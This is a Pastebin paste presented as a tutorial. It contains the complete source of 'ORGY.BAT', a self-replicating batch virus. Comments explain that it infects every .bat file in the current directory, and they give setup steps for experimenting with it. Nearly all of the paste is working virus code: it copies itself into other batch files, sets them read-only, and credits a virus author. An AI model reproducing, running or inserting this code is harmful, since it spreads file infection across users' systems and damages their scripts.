FlyFar

Tutorials - Ye Olde Art of Ye Batch Viruses - ORGY Virus Code

Jul 9th, 2023
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.32 KB | Cybersecurity | 0 0
  1. :: ORGY.BAT Virus source code
  2. ::
  3. :: Below is the source code for a very simple batch virus. When executed, the virus infects all the .BAT files in the current         :: directory. It doesn't re-infect files but it cannot infect files that are already read-only, system, or hidden.
  4. ::
  5. :: If you want to experiment with this virus you must first make the virus file ORGY.BAT is read-only (with the ATTRIB +R ORGY.BAT    :: treatment.) This prevents the virus from re-infecting itself.
  6. ::
  7. :: The virus is named after the American industrial/synth/metal band that supported KoRn on their 1999 Follow the Leader tour.
  8. :: ==================================== THE CODE STARTS HERE =====================================================
  9. @echo off
  10. echo orgy > infect1.bat
  11. echo if [%%1]==[infect1.bat] goto DontBother > infect2.bat
  12. echo if [%%1]==[infect2.bat] goto DontBother >> infect2.bat
  13. echo copy %%1 + infect1.bat %%1 >> infect2.bat
  14. echo attrib +r %%1 >> infect2.bat
  15. echo :DontBother >> infect2.bat
  16. attrib +r infect1.bat
  17. attrib +r infect2.bat
  18. for %%f in (*.bat) do call infect2 %%f
  19. attrib -r infect1.bat
  20. attrib -r infect2.bat
  21. del infect1.bat
  22. del infect2.bat
  23. rem ORGY.BAT virus by EXE-Gency/[KrashMag]
  24. rem email exegency@hotmail.com
  25. :: ================================ THE CODE ENDS HERE =============================================
Add Comment
Please, Sign In to add comment